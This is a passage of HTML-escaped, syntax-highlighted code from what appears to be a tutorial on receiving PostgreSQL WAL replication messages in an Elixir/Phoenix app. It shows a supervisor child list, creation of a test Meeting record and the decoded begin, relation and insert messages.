&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;children&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;WalWeb.Telemetry&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Replication&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# Others&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s start the application with &lt;code&gt;iex -S mix phx.server&lt;/code&gt; and create a test record. I will create a test &lt;code&gt;Meeting&lt;/code&gt; record which has a &lt;code&gt;title&lt;/code&gt; and a &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;until&lt;/code&gt; timestamp.&lt;/p&gt;
&lt;pre id=&quot;code-block-19&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Meetings&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_meeting&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;title: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Test Meeting&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2025-01-01 10:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2025-01-01 11:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;meeting&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are the WAL messages our listener has received:&lt;/p&gt;
&lt;pre id=&quot;code-block-20&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:begin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:begin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn_end: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E10&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;tx_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;385169&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:relation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:relation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;columns: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4294967295&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1043&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;259&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;until&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;inserted_at&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;updated_at&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;26378&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;namespace: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;public&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;meetings&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;replica_identity_setting: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:default&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;0/0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;0/0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;55&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Test Meeting&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-01-01 10:00:00&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-01-01 11:00:00&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-11-03 14:18:03&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-11-03 14:18:03&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;26378&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
